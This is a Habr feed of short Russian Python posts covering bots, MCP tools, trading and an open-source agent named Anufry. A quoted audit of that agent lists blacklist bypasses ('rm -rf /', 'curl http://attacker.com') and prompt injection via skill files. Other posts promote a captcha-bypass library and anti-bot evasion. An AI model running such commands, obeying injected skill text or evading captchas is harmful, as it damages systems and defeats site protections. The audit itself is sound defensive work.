Обновить
512K+

Python *

Высокоуровневый язык программирования

649,62
Рейтинг
Сначала показывать
Порог рейтинга

Два часа потерял из-за того, что не написал один хендлер

Делал платежи в Telegram-боте. Нативные, через sendInvoice и ЮKassa.

Всё настроил: токен от BotFather получил, инвойс отправляется, кнопка оплаты появляется. Пользователь нажимает - и платёж падает с ошибкой. Молча. Без подробностей.

Payment failed

И всё. Telegram не говорит что именно не так.

Полез гуглить. Первая мысль - provider_token неверный. Проверил три раза, скопировал заново. Нет, токен правильный.

Потом решил что проблема в суммах - они передаются в копейках, не в рублях. 500 рублей = 50000. Перепроверил, у меня было правильно.

Потом подумал на webhook - может HTTPS не настроен как надо. Потратил минут сорок на проверку сертификата, перенастройку ngrok. Всё работает, но платежи всё равно падают.

Уже хотел идти спать, случайно наткнулся на строчку в документации:

Your bot must reply to this query in 10 seconds

Это про pre_checkout_query. Когда пользователь нажимает «Оплатить» - Telegram сначала отправляет боту запрос на подтверждение. Бот должен ответить в течение 10 секунд. Если не ответил - платёж автоматически отклоняется.

У меня хендлера для этого не было вообще. Бот просто молчал.

Добавил три строки:

python

@dp.pre_checkout_query()
async def pre_checkout(query: types.PreCheckoutQuery):
    await query.answer(ok=True)

Платёж прошёл с первого раза.

Два часа отладки из-за трёх строк кода которые я не написал.

Если кто-то тоже делает платежи в Telegram-боте и получает молчаливый отказ - проверьте pre_checkout_query первым делом, до всего остального.

Теги:
+7
Комментарии1

В дополнение к посту по albu-mcp

В доке Albumentations появился отдельный раздел про мой AlbumentationsX MCP - https://albumentations.ai/docs/integrations/mcp/

Теперь есть официальный integration guide, где показано, как ты можешь подключить MCP-сервер к AI-assistant’у и использовать его для нормального HITL workflow вокруг CV-аугментаций: подобрать pipeline, провалидировать его, отрендерить локальные previews, сравнить baseline и candidate, дать feedback вроде too_noisy:high и экспортировать финальный pipeline.

Приятно видеть, что проект стал частью экосистемной документации Albumentations. 🙂

AlbumentationsX MCP это конечно же не замена Python API, а assistant-facing review layer для тех случаев, когда ты хочешь быстрее и безопаснее работать с augmentation pipelines.

Теги:
+3
Комментарии0

Представлен открытый проект Ghostprovider — терминальный инструмент для быстрого запуска GitHub‑проектов у себя на localhost.

Принцип работы проекта: предоставляется ссылка на репозиторий, а инструмент сам анализирует проект: ищет Dockerfile, docker‑compose, package.json, requirements.txt, Go/Rust/Python/Node‑признаки, определяет тип приложения и пытается развернуть его в Docker. После запуска показывает локальный URL, контейнеры, логи и дает управлять сервисами прямо из TUI: старт, стоп, рестарт, удаление. По сути это автоматизированная оболочка над git clone, docker build, docker run и docker compose up, только с автоанализом проекта и удобным интерфейсом в терминале.

Важно: инструмент реально запускает код из чужих репозиториев, поэтому случайные проекты лучше гонять в VM/песочнице и внимательно смотреть Dockerfile/docker‑compose перед запуском. Сам Ghostprovider выглядит прозрачным, но риск всегда в том, что именно вы через него запускаете.

Теги:
+3
Комментарии0

Как я перестал бояться опенсорсить свои поделки

для тех, кто пишет код в VS Code, не помнит наизусть флаги git filter-repo и считает, что IDE — нормально. Если ты из лагеря «настоящие программисты сидят в vim и пишут всё в Makefile» — просто пролистай

git-private2public как .gitignore, но чтобы сделать зеркало приватного репо одной git push.

Что это

CLI-тулза. Держит два репо в синхроне: приватный (ваш рабочий бардак) и публичный (чистая версия). При пуше автоматически вычищает секреты и обновляет публичный mirror.

Конфиг — папка .gitpublic/, как .gitignore. По одной маске на строку, без YAML.

.gitpublic/
  config      — source / target / push
  ignore      — что НЕ публиковать
  replace     — что заменить (==> без кавычек)
  scan        — что не должно попасть, иначе падаем
  allow       — но конкретно эти можно пропускать в пуш,  

Файла нет → настройки нет. Просто.

Автопуш через git hook

pip install git-private2public
cd ~/my-private-repo
git-private2public init

init создаёт пять пустых файлов с закомментированными примерами. Дальше правите то, что нужно:

Easy — только ignore:

.env
secrets/
*.key
credentials.json

Medium — добавляете replace:

10.0.0.5          ==> 203.0.113.5
real-token-here   ==> ***

Hard — добавляете scan (защита от факапов):

# scan
regex:github_pat_[A-Za-z0-9_]{30,}
regex:192\.168\.

Если в коде найдётся паттерн из scanpublish падает, ничего не пушится.

git-private2public scan      # dry-run
git-private2public publish   # реальный пуш

Автопуш через git hook

Это та фича, ради которой я и начал. Никакого CI, никаких GitHub Actions.

git-private2public hook enable

Ставит pre-push хук. Теперь обычный git push — отправляет в приватный репо и автоматически чистит-пушит в публичный mirror.

git-private2public hook status    # проверить
git-private2public hook disable   # выключить

Работает офлайн, на любом хостинге.

Почему не git filter-repo или BFG

Я ими пользовался. Они мощнее, но мне нужны были четыре вещи в одной тулзе:

Не нашёл — написал.

Установка (ещё раз, коротко)

pip install git-private2public

Если pip не вариант — single-file: скачал git_private2public.py, chmod +x, готово (нужны git-filter-repo и pyyaml).

Ссылки

TL;DR

pip install git-private2publicinit → редактируешь .gitpublic/ignorepublish. Если хочешь автопуш — hook enable.git push. Всё.

Теги:
+8
Комментарии0

Представлен открытый сервис Aliens Eye, который ищет всевозможную информацию в соцсетях, на сайтах и других ресурсах, предоставляя полный отчёт:

  • 840 различных OSINT-инструментов для анализа сайтов, соцсетей, других ресурсов, хостингов, доменов и даже физических устройства;

  • все сервисы работают по одному клику. При этом интерфейс интуитивно понятен;

  • отчёты предоставляет в JSON, CSV, HTML и Markdown форматах;

  • без ограничений, без дополнительных установок.

Теги:
+6
Комментарии0

Представлен открытый проект ИИ‑студии для видеомонтажа OpenMontage — комбайн из ИИ‑агентов для полноценного выпуска видеороликов. Проект помогает превратить доступ к Claude Code, Cursor, Copilot, Windsurf или Codex в киностудию:

  • агенты берут на себя всё — от исследований и сценария до генерации видео, монтажа и озвучивания;

  • 12 пайплайнов под любой тип контента — трейлеры, анимации, реклама, туториалы и так далее;

  • 500 скиллов — генерация видео, аудио, музыки и картинок;

  • умеет работает с лучшими генераторами — Kling, Runway, FLUX, ElevenLabs и Suno.

Теги:
+4
Комментарии0

5 граблей, на которых умирают торговые боты

Большинство торговых ботов умирают не потому, что стратегия оказалась неверной. Они умирают потому, что бэктест втихую прочитал завтрашнюю свечу. Потому что процесс упал посреди исполнения ордера и открыл позицию дважды. Потому что биржа отвергла ордер, а бот продолжил торговать призрак.

Стратегия - никогда не была сложной частью. Сложной частью была инфраструктура.

«Это работало в бэктесте» ничего не значит, если в live крутится другой код

Стандартный путь продакшенизации стратегии - это её переписывание: исследовательский ноутбук превращается во вторую, собранную руками боевую систему со своей логикой ордеров, своими багами, своим расхождением. Теперь у вас две стратегии, которые выглядят одинаково, а ведут себя по-разному ровно тогда, когда это важнее всего. Например, на момент бектеста все свечи уже закрыты, а в live текущая свеча всегда в статусе pending и её параметры меняются

Ошибка, которая открывает позицию дважды

Бот, обновляющий позицию в момент, когда процесс умирает - OOM, деплой, скачок питания, просыпается с испорченным состоянием: наполовину открытая позиция, неправильный cost basis, выход, который так и не зарегистрировался. Восстановление руками - это место, где утекают деньги.

Ордер, который биржа молча отвергла

Тихий убийца live-торговли: биржа отвергает, отваливается по таймауту или наливает частично - и внутреннее состояние вашего бота больше не совпадает с реальностью. Фикс из учебника - рукописный try/catch с откатом вокруг каждого ордера - это ровно тот код, который ломается на том краевом случае, который вы не предусмотрели.

Десять стратегий, один счёт, экспозиция 100%

Проверки риска по каждой стратегии в отдельности упускают очевидную портфельную истину: десять стратегий, каждая «рискует 10%», - это один счёт, рискующий всем. Открыть сразу 10 позиций не хватит капитала

Получение внешних данных через Crontab

Cron с парсингом внешних данных работает в другом процессе по системным часам - бесполезно в бэктесте, который проигрывает месяц за секунды. Так же как неполные свечи в live, на момент backtest база данных содержит больше записей, так как момент в прошлом уже завершен

Теги:
+3
Комментарии0

Я сделал AlbumentationsX MCP — MCP-сервер для работы с аугментациями в computer vision.

Идея простая: когда ты собираешь augmentation pipeline, не хочется бесконечно вручную перебирать transforms, гадать с параметрами и проверять глазами десятки вариантов. Хотелось, чтобы MCP-host мог помочь: найти подходящие transforms, собрать консервативный baseline, провалидировать pipeline, отрендерить локальные previews, сравнить результаты, собрать feedback вроде too_noisy:high и экспортировать принятый вариант.

Проект работает поверх AlbumentationsX и не пытается делать магию вместо тебя. Он помогает быстрее пройти цикл: recommend → validate → preview → compare → adjust → export.

Особенно полезно, если ты делаешь classification, detection, segmentation, OCR или просто хочешь быстрее проверять качество аугментаций на локальных примерах.

Запуск:

uvx --from albumentationsx-mcp albumentationsx-mcp

Репозиторий: albu-mcp

Теги:
+3
Комментарии0

Чеклист перед запуском торгового бота

Заперли физика, химика и экономиста,на необитаемом острове с банкой консервов.  Физик предлагает разбить её камнем, химик — нагреть на костре. Экономист говорит: «Предположим, у нас есть открывашка».

  • Path-aware exits

    Плохо: PnL считается по close, ни одна сделка не закрыта по SL
    Хорошо: OHLC-реплей внутри свечи, intra-candle SL/TP

  • Look-ahead bias

    Плохо: Ручной параметр времени, индикатор на всём массиве
    Хорошо: Ambient-контекст, данные только до текущего тика

  • Комиссии + слиппедж + leverage

    Плохо: PnL по миду, без комиссий, +0.3% это минусовая статегия ниже комиссии
    Хорошо: На момент холда считается стоимость обслуживания leverage, fees

  • Размер выборки

    Плохо: <30 сделок, Sharpe Ratio в космосе, tail-driven
    Хорошо: N/A вместо фейка при недостатке данных, гейты ≥10 сигналов / ≥14 дней

  • Crash-recovery

    Плохо: Нет атомарной записи, рестарт с нуля
    Хорошо: Atomic writes, graceful shutdown

  • Адаптер биржи

    Плохо: Не отправлял реальный ордер
    Хорошо: Если покупателя/продавца не нашлось, не закрываем позицию и в бд

Теги:
+2
Комментарии0

Язык, с которым у ИИ плохо

В подкасте Радио-Т 1018 был интересный момент, что у ИИ сейчас гораздо меньше опенсорсных репозиториев и датасетов на Swift, чем условно на Python или Go. И поэтому, как Claude Code, так и Codex хреново пишут нативные iOS приложения. А ведь API языка обновляется, имеющиеся данные в нейронках устаревают с каждым WWDC.

Я как бэкендер с этой темой не сталкиваюсь. Стало интересно, как в Apple вайбкодят разрабы и влияет ли это как-то на темпы разработки по сравнению с конкурентами. Apple Intelligence пока пытались запустить для обычных потребителей, или когда анонсировали переход на Gemini-бэкенд, это повлияло как-то на пайплайн разработчиков? Есть ли у их моделей какой-то секретный проприетарный датасет, чтобы повысить качество работы с их экосистемой?

Мне короткий гуглеж выдал, что анонсировался Swift Assist в 2024, но в 2025 году от него отказались в пользу доступа к любым моделям с помощью API-ключей. То есть сама компания не может предоставить продакшн тулинг за счет доступа к самому большому в мире закрытому репозиторию Swift-кода. Получается, Apple со своей закрытой инфраструктурой не может оставаться верной своей концепции. В эпоху агентской разработки у компании не получается замыкать на своем решении инженеров, чтобы не уступать конкурентам.

Тут у меня котелок начал накидывать вопросы.

Apple ладно, а какое будущее у новых языков программирования? Будут ли авторы новых языков задаваться вопросом «как мой язык будут поддерживать нейросети?» Их популяризация будет целиком и полностью за счет опен-сорс коммьюнити теперь, пока остальные языки будут писать агенты? Сообщества сами генерят синтетические данные для языков программирования, чтобы локальные модели лучше умели в определенный скилл? Или может для языков будут сразу разрабатываться скиллы или MCP? Какую роль в адаптации к агентсткой разработке будут играть компилируемые языки со строгой типизацией по сравнению с нестрогими, скриптовыми языками? А поддержка нового языка агентами на сносном уровне, - это повод для флекса в презентации у компании?

В интересное время живем.

Теги:
+5
Комментарии8

Извлекаем любые данные из документов - представлен открытый сервис Datalab (Hugging Face), который помогает «общаться» со всевозможными файлами и работает на уровне Gemini 3.5 Flash и опережает все открытые аналоги:

  • Вытягивает структурированный и понятный JSON из PDF, изображений и других файлов.

  • Обрабатывает десятки страниц за секунды. Нейронке можно скармливать даже огромные файлы.

  • Сохраняет все поля оригинала.

Теги:
+6
Комментарии0

Python Парсинг: большой гайд 2026 + топ 20 ошибок при парсинге

Это полноценный бесплатный практический курс от базы до production-подхода.

Внутри разбираются:

- как работает HTTP, HTML и DOM

- requests, BeautifulSoup, lxml

- CSS-селекторы и XPath

- работа с API, JSON и авторизацией

- динамические сайты через Playwright и Selenium

- асинхронный парсинг на aiohttp и asyncio

- Scrapy как промышленный фреймворк

- обход антибот-защит

- хранение, валидация и экспорт данных

- ретраи, логирование и обработка ошибок

- тестирование парсеров

- архитектура production-парсера

- типовые ошибки и антипаттерны

Можно понять базу, как получить страницу, извлечь данные, почистить, проверить, сохранить и сделать это так, чтобы проект не развалился через неделю.

Материал для тех, кто хочет прокачать Python-парсинг не на уровне игрушечных примеров, а ближе к реальным задачам.

https://github.com/justxor/Pythonparsing-/tree/main

#junior #python #парсинг


Теги:
+11
Комментарии0

На Go непривычно после Python

На работе переводим сервисы на Go. Делюсь ощущениями от Go, как FastAPI-питонист:

  • В Go классов нет, есть struct с полями.

  • Внутри структур нет методов. Перечислили поля и все. Дальше функцию связываем отдельно со структурой сигнатурой вида funс (s *SomeStruct) Greet () string {}. С аргументами читается еще тяжелее.

  • ООП нет, наследования нет. Связь между структурами через композицию.

  • Ошибки нужно обрабатывать руками без try ... except с помощью if err != nil {...}.

  • nil вместо None

  • Эксепшнов нет. Функции возвращают ошибку как обычное значение: val, err := SomeFunc(). Хотя в Python я ответ из кортежей прям не люблю и избегаю, тут это база.

  • Зато есть panic, которые по сути – необработанные эксепшны.

  • Но на паники есть recover, который лечит последствия паники :)

  • Комментарии через два слеша // comment

  • Докстринги над сигнатурами, а не под.

  • OpenaAPI для Swagger надо собирать самому без FastAPI. Напрочь забытый навык. Даже с либами вроде swaggo/swag делать это надо руками, с ошибками.

  • Валидации полей нужно писать руками. Нет аналога Pydantic с батарейками.

  • Строка в двойных кавычках "w" – строка. В одинарных 'w' – руна, другой тип данных, который принимает в себя только один символ. Писать слово или фразу в руну нельзя.

  • А есть еще backtick ` ` для тегов структур. В них как раз могут задаваться правила валидаций в go-playground/validator:
    type User struct {
    Name string `validate:"required,min=2"`
    }

  • len у строк в байтах. Символ в кириллице = 2 байта. len строки на кириллице ~х2, непривычно. Нужно считать длину рунами в строках.

  • Иинтерполяция делается через fmt.Printf(). В отличие от f-строк в Python требует в конце явного перевода строки с \n, иначе строки слипаются. 

  • Вместо snake_case – lowerCamelCase для приватных идентификаторов пакета, а UpperCamelCase для экспортируемых.

  • Первым аргументом в запускаемом приложении командой go run some-script.go неявно выступает путь до файла. Из-за этого появляются идиомы в циклах типо «начни со 2-го аргумента».

  • Моржовый оператор a := "some" в Go это инициализация переменной с присваиванием. В Python это оператор в if ... else блоках, который инициализирует переменную только если сработало условие.

  • Аргументы у методов – позиционные. DoSomething(first, second, last) против do_something(action=first, modifier=second, final_action=last) у Python. Python умеет в лаконичность, но тут Go в нее заставляет. У методов со сложными контрактами надо сигнатуру подсматривать.

Что в Go нравится:

Тут много наивного по неопытности :)

  • Горутины – топ. Не нужно в голове держать асинхронный код, потоки, процессы, футуры, CPU-задачи, IO-задачи – на все горутины. А для передачи данных – каналы. Горутины весят 2-4 КБ против ОС-потока в 2-4 МБ памяти. Нет танцев с GIL. go func и начинаешь в конкурентность.

  • Статическая типизация при сборке находит много ошибок без линтеров и mypy. Еще она заставляет явно писать типы данных в аргументах и ответах от функций. Код нагляднее.

  • Вместо двоеточий  и отступов фигурные скобки. Я еще с NodeJS любил не капризное авто-форматирование.

  • Go-скрипты собираются в бинарники. Для них не нужен установленный Python или JVM. Просто запускаем как обычный баш-скрипт через ./script

  • Импортировать пакеты нужно целиком. Как в Python только метод импортировать нельзя. Обязательная лаконичность тут нравится. Импорты аккуратные, а в коде вызов их функций более явный.

  • Код модулей удобно читать сверху вниз. Python – интерпретируемый. Все, что не объединено в класс, должно быть объявлено перед вызовом. Код приходится нередко читать снизу вверх. Go – компилируется, порядок кода неважен. Читать код по ходу пьесы проще.

  • Стандартный пакет для тестирования go test все умеет из коробки. Аналог pytest как внешняя зависимость не нужен.

  • Ради чего все это: перевод сервиса с Python на Go даже тупо с ИИ-агентом, по метрикам Prometheus (АБ 50/50 трафик) снизил время ответа и потребление CPU и IO-ресурсов в десятки раз.

Из-за последнего вас и спрашивают на Python-собесе «готов перейти на Go»? Бабки, с-ка, бабки.

Теги:
+9
Комментарии5

Ближайшие события

По какому принципу посты минусуются?
Пишу пост, об образовательной платформе по AI, которую я сам собирал уже несколько месяцев, вкладываю в нее свои деньги. Абсолютно некоммерческая история. Предлагаю туда писать авторские статьи.
Пользуются уже в банках и университетах.
Мне в ответ прилетает, что это реклама от местных жителей. Как дела-то, ребят? Или вы переживаете, что свои цыганские курсы потом не продадите?

Теги:
+1
Комментарии4

Агент Ануфрий v.1.0.0

Последний апдейт конструктора для создания собственных ассистентов на Python включил в себя оптимизацию токенов и скорости. Агент стал в 3 раза экономичнее.

Добавлена ленивая загрузка инструментов. Вместо отправки всех 24 встроенных инструментов сразу, агент получает 6 базовых, включая tool_use, через который доступны остальные 20.

Инструменты разбиты на категории. Каждая категория — одно определение в системной промпте, вместо отдельной схемы для каждого действия.

Системный промпт стал компактнее в 3 раза.

Кэширование cистемного промпта и определния инструментов в OpenAI/OpenRouter (90% скидка):

  • добавлены заголовки для идентификации проекта в OpenRouter

  • в OpenAI кэширование работает автоматически за счет стабильного системного промпта

Добавлено клиентское кэширование для локальных LLM (экономим немного времени CPU на пересоздании промпта).

Добавлено логирование токенов на каждой итерации для наглядности.

Результат оптимизации: экономия около 75% токенов на каждом запросе. Работать с API стало значительно дешевле, а на локальных LLM заметно комфортнее.

При этом архитектура проекта сохранила свою простоту и читаемость.

Репозиторий: github/AgentAnufry

Теги:
+3
Комментарии0

Доброе утро всем!

С марта содержу, обновляю, собираю материалы от Стендфорда до Китая, перевожу...ai.arckep.ru. Ничего там не продаю и не покупаю. Ресурс бесплатный.

Я это к чему, делаю блок авторских статей:

Все также в образовательных целях. Если вы хорош в ai отдельно или в рамках вашей компании - welcome. Ссылку на вас можем разместить, контакты и тд.

Основные требования к материалу:

  1. Образовательный

  2. Полезный

  3. Не менее 4000 символов

  4. Чтобы можно было в любой ИИ закинуть и сказал чем этот материал конкретному человеку может быть полезен

  5. Не должно быть маркетинговой обёртки

AIStudy
AIStudy
Теги:
-2
Комментарии3

Если что, Агент Ануфрий работает на любых системах, он кроссплатформенный.

Прямо сейчас он пыхтит на Windows и за 0 руб./токен ломает сайт Пентагона, ведь запущен на локальной модели qwen3-14b на древнем железе.

Агент Ануфрий - это open source-конструктор для создания собственных ассистентов на Python. Базовый агент уже мультиплатформенный, с долговременной памятью, автоматизацией браузера через CDP/Playwright, трекером задач, и системой навыков.

Репозиторий: AgentAnufry

Теги:
-5
Комментарии1

Гайд: запуск автономного агента Ануфрия на локальной модели с LM Studio на Linux

Агент Ануфрий - это open source-конструктор для создания собственных ассистентов на Python. Базовый агент уже мультиплатформенный, с долговременной памятью, автоматизацией браузера через CDP/Playwright, трекером задач, и системой навыков.

Репозиторий: AgentAnufry

Для быстрого запуска нам хватит безголового (без графического интерфейса) демона llmster (https://lmstudio.ai/). Команда в терминале:

curl -fsSL https://lmstudio.ai/install.sh | bash

Перезапустите терминал или добавьте директорию lms командой, которая будет выведена в терминале.

Запускаем:

lms daemon up

Качаем нужную LLM модель (чем больше, тем умнее, но требует больше ресурсов): https://lmstudio.ai/models Для примера возьмем небольшую модель:

lms get qwen/qwen3.5-9b

После скачивания подгружаем модель в память:

lms load qwen/qwen3.5-9b

В .env скопируйте эту конфигурацию:

# ============================================
# LM Studio Configuration (Local) - ACTIVE
# ============================================
LLM_PROVIDER=lmstudio
LLM_API_KEY=lm-studio
LLM_BASE_URL=http://localhost:1234/v1
LLM_MODEL=deepseek/deepseek-r1-0528-qwen3-8b

# ============================================
# Embeddings Configuration (Local) - ACTIVE
# ============================================
# Используем локальную embeddings модель из LM Studio
EMBEDDINGS_PROVIDER=lmstudio
EMBEDDINGS_MODEL=text-embedding-nomic-embed-text-v1.5
EMBEDDINGS_BASE_URL=http://localhost:1234/v1
EMBEDDINGS_API_KEY=lm-studio

# ============================================
# Дополнительные параметры
# ============================================
LLM_TEMPERATURE=0.1
LLM_MAX_TOKENS=4096
LLM_TIMEOUT=300
MAX_ITERATIONS=20

Запустите lms сервер:

lms server start --port 1234 &

или

lms server start

Порт по умолчанию будет 1234

Запустите агента.

Шпаргалка с командами lms:

# запустить демон
lms daemon up

# запуск/остановка сервера
lms server start
lms server stop

lms server status        # статус сервера
lms ps                   # загруженные в память модели
lms ls                   # список скачанных моделей

# остановить текущую модель
lms unload

# выгрузить все модели из памяти
lms unload --all

# получить список доступных моделей
lms ls

# Удалить конкретную модель
lms rm qwen/qwen3.5-9b

# Или удалить несколько моделей
lms rm model1 model2 model3

Важно!

Чем слабее ваше железо, тем меньше модель вы сможете использовать, с меньшим объемом контекстного окна. Объем контекста в базовой версии агента (системный промпт + описание инструментов) в районе 6к товенов, это много.

Для работы с небольшими моделями сожмите системный промпт и описание инструментов или удалите лишнее (файл main.py)

Теги:
+3
Комментарии10

Ваш худший кошмар, или простой regex, который удивит даже опытных программистов.

re.match(r"^abc$", "abc\n") # python
/^abc$/.test("abc\n") // Javascript
preg_match("/^abc$/", "abc\n"); // PHP

Не читайте дальше, попробуйте угадать какой вывод будет у каждого из вариантов?

False?

True ?

Правильный ответ:

False
True
False

Живите с этим :)

Всё дело в том, что в PCRE $ означает не "конец строки", а "конец строки, или позиция перед \n в конце строки". А в ECMAScript это не так.

Лично я думал, что должно быть False, но регулярные выражения продолжают меня удивлять спустя много лет.

Правильный regex для точного совпадения с концом строки:

re.match(r"^abc\Z", "abc\n")
// javascript идеален, нечего исправлять :)
preg_match("/^abc\p/", "abc\n")

== false

Теги:
+8
Комментарии3

GitHub Copilot и Python: настройка, промптинг и сравнение с альтернативами

Copilot экономит время на типовом коде: дополнении функций, заготовках классов и CLI-скриптов, тестах на pytest, парсинге CSV и JSON, обертках над requests. Качество подсказок сильно зависит от контекста — названий функций, комментариев и того, что открыто рядом.

В статье разобрали установку Copilot в VS Code и PyCharm, настройку проекта под Python (venv, расширения, выбор интерпретатора) и практики промптинга, которые повышают релевантность подсказок. Отдельно написали про ограничения, безопасность при работе с секретами и валидацией, и сравнение с Amazon Q Developer, Gemini Code Assist, JetBrains AI Assistant, Tabnine, Cursor и Windsurf.

Подробности — в блоге Рег.облака.

Теги:
+4
Комментарии0

Агент Ануфрий и безопасность, что не так?

Спасибо всем, кто проявил интерес к проекту, и сейчас хотел бы уделить внимание теме безопасности.

Напомню, основная идея проекта - дать инженерам и энтузиастам простую базовую конструкцию мультизадачного агента с т.н. искусственным интеллектом для пробуждения интереса к теме разработки ИИ-агентов на базе больших языковых моделей.

Структура максимально упрощена, чтобы вы могли за незначительное время переработать модули агента частично или полностью:

  • заменить БД или изменить правила работы с памятью

  • усовершенствовать или переписать встроенные навыки

  • добавить новые инструменты для работы в интернете

  • улучшить обработку модульных скиллов

  • оптимизировать работу с LLM

Вместе с тем, Ануфрий имеет полный доступ к Shell, о чем он предупреждает при запуске. Конечно, имеются некотрые встроенные ограничения, в целях безопасности, но они не ультимативные. Т.е. если сильно захотеть, агент сможет даже свой собственный код перписать и перезапуститься в обновленной форме через крон-функцию, например.

У этого есть плюс: не обязательно добавлять ему какие-то инструменты для выполнения новых задач, он может нахимичить их сам. Но есть и минус: если агент запущен в неизолированной среде, он может положить систему наглухо.

Если вы планируете использовать эту базу для разработки серьезного агента под бизнес-цели, вам следует учесть выводы аудита по безопасности, который провел Наиль Шакуров на GitHub. Далее полная цитата:

В ходе аудита кода проекта обнаружены серьезные проблемы с безопасностью, которые позволяют выполнять произвольный код на хост-системе пользователя.

Выполнение произвольного shell-кода через уязвимый черный список В файле tools/shell.py используется shell=True в subprocess.run(command, shell=True). При этом ограничение ALLOWED_COMMANDS проверяет только начало строки. Проблема: LLM-агент может легко обойти этот фильтр, используя конвейеры или разделители команд (например, ls && rm -rf / или pwd; curl http://attacker.com). Черный список неэффективен. Решение: Использовать shell=False и передавать команды списком аргументов, либо полностью изолировать среду исполнения (Docker/микровиртуалки). Неконтролируемый chmod 755 в раннере навыков В файле tools/skills_runner.py функция os.chmod(script_path, 0o755) делает исполняемыми любые файлы из папки навыков без предварительной валидации их содержимого. -Проблема: В сочетании с возможностью записи файлов это позволяет агенту создавать и запускать любые бинарные файлы или скрипты на хосте.

Prompt Injection через файлы навыков Файлы SKILL.md считываются напрямую и подмешиваются в системный промпт (skills/loader.py). При наличии недоверенного источника навыков это ведет к инъекции инструкций, заставляющих агента выполнить вредоносные действия через shell.

Отсутствие валидации путей (Path Traversal) в поиске файлов Функция search_files в tools/filesystem.py не проверяет выход за пределы рабочего каталога (workspace), в отличие от функций чтения и записи файлов.

Репозиторий проекта: GitHub > AgentAnufry

Теги:
+3
Комментарии0

Почему подсчёт металлопроката на фото нельзя решить простым CV: инженерный эксперимент

В задачах строительного контроля и складского учёта регулярно возникает практическая проблема: необходимо автоматически определить количество элементов в пачке металлопроката (трубы, профили, швеллеры) по фотографии.

На практике это до сих пор часто выполняется вручную — с типичными ошибками: — перекрытие элементов в пачке — сложное освещение на площадке — различие типов профилей — человеческий фактор при массовом пересчёте

Была проверена базовая идея: можно ли обойтись без нейросетей и решить задачу классическими методами компьютерного зрения.

Использован упрощённый CV-конвейер:

  • локальное размытие изображения (11×1 и 1×11)

  • сравнение пикселей с локальным средним уровнем

  • выделение областей повышенной интенсивности

  • формирование бинарной маски потенциальных торцов

Метод не требует обучения модели и работает на CPU.

Результаты

Метод действительно даёт первичный сигнал, но имеет существенные ограничения:

  • быстро отсекает явно пустые или нерелевантные области

  • не разделяет плотные пачки профилей

  • чувствителен к освещению и теням

  • даёт ложные срабатывания на посторонние объекты

Вывод

Классические методы CV могут использоваться только как предварительный фильтр.

Для практической задачи подсчёта металлопроката требуется: — детекция объектов (YOLO-подходы) — либо сегментация с учётом перекрытий — адаптация под разные типы профилей

Если у вас есть похожие задачи на производстве или складе — интересно обсудить реальные условия: — типы проката — качество фото — сценарии учёта

P.S. Код базового эксперимента — это около 20 строк на OpenCV. Если нужен код — дайте знать в комментариях, выложу полный сниппет с фильтрацией. Но спойлер: для реальной работы его недостаточно.

Теги:
Всего голосов 3: ↑2 и ↓1+3
Комментарии0

Автоматизация расчётных схем: Python против ручного оформления

Иногда на построение расчётной схемы уходит больше времени, чем на сам расчёт.

Нужно показать балку, нагрузки, размеры, оформить картинку для отчёта или пояснительной записки. И вот уже запускается ЛИРА, CAD или другой тяжёлый софт ради схемы, которую можно описать несколькими параметрами.

Есть и другой подход — генерировать такие схемы программно на Python через Matplotlib.

Вместо ручного рисования задаются:

• координаты опор;

• сосредоточенные силы;

• распределённые нагрузки;

• размеры и подписи.

Меняется исходное значение — схема перестраивается автоматически за доли секунды.

На изображении пример консольной балки(часть балки для МНП - расчета по Маколею или методу начальных параметов) с нагрузками 75 кН и 20 кН/м. Вся графика построена кодом. Никакого ручного оформления, масштабирования и выравнивания стрелочек.

Что нравится больше всего — оформление перестаёт быть отдельной задачей. Можно сосредоточиться на механике и проверке гипотез, а не на поиске нужной кнопки в интерфейсе.

Кстати, сам скрипт занимает меньше 30 строк кода.

Если хотите продолжения — напишите, какую схему или эпюру вы бы автоматизировали в первую очередь. Потребуется код — предупредите, подготовлю.

Теги:
Всего голосов 2: ↑2 и ↓0+4
Комментарии0

Открытый проект Python library for interacting with the Solvecaptcha API (captcha‑solving service) — это легковесная библиотека на Python, которая проходит самые популярные проверки через Solvecaptcha.

Обходит большинство самых мощных и популярных капч:

  • reCAPTCHA v2 и v3;

  • Cloudflare Turnstile;

  • FunCaptcha (Arkose Labs);

  • GeeTest и GeeTest v4;

  • Amazon WAF;

  • KeyCaptcha;

  • Grid, ClickCaptcha, Rotate, Canvas;

  • обычные текстовые и графические капчи, в том числе аудио.

Библиотека небольшая, работает стабильно, разработчики её поддерживают, добавляя новые виды капч. Можно настраивать таймауты решения капч, чтобы имитировать поведение человека.

Теги:
Всего голосов 1: ↑1 и ↓0+1
Комментарии0

Привет, коллеги! 👋 Уже в это воскресенье, 31 мая в 10:00, устроим мощный заряд знаний! ⚡️ За 4 часа своими руками поднимем стек мониторинга, настроим дашборды и оповещения! 📊🔔

Для кого это будет полезно:
- разработчики 💻
- аналитики 📈
- системные инженеры 🔧

Все подробности здесь: https://debugskills.ru/articles/labs/prometheus-grafana/

Теги:
Рейтинг0
Комментарии0

🐍 Python Roadmap 2026: наконец-то актуальная карта изучения Python.

На GitHub выложили большой русскоязычный роадмап по Python на 2026 год - от первых скриптов до уровня Middle+/Senior.

 Маршрут собран под современный Python:

- Python 3.13+

- free-threaded mode без GIL

- JIT

- uv вместо боли с pip/venv/poetry

- ruff, pyright, pytest, hypothesis

- async-first подход

- типизация

- CPython внутри

- web, базы, ML/AI, DevOps и архитектура

В роадмапе есть нормальная последовательность: сначала окружение и база, потом идиомы, ООП, типы, стандартная библиотека, асинхронность, тестирование, внутренности CPython, web, базы данных, AI-направление, продакшн и архитектура.

На каждом этапе есть задачи, чеклисты, примеры кода и бесплатные ресурсы. То есть это не мотивационная простыня, а маршрут, по которому реально можно идти несколько месяцев и видеть прогресс.

Для джунов хороший роадмап закрыть дыры.

#junior #python

Теги:
Всего голосов 5: ↑4 и ↓1+3
Комментарии4

Всем привет, нужны рекомендации и советы по следующим вопросам:

  1. Порекомендуйте бесплатные ресурсы для подготовки к собеседованиям по аналитике.

  2. Если найдётся кто-то, кто работал над галлюцинациями и достоверностm. информации, сгенерированной LLM, поделитесь опытом.

Теги:
Всего голосов 13: ↑2 и ↓11-9
Комментарии0

Как запускать маркетинговые спецпроекты с помощью мини-приложений в VK, Telegram и Макс 

Mini Apps уже давно не просто «обертка для бота», а полноценная платформа для запуска спецпроектов, игровых механик и промо-активностей, которые  часто используются в маркетинге. 

Сегодня Mini Apps и боты — это полноценные платформы для:

  • игровых механик

  • программ лояльности

  • event-маркетинга

  • UGC-кампаний

  • проектов с прямыми эфирами

  • AI-сценариев

  • интерактивного контента.

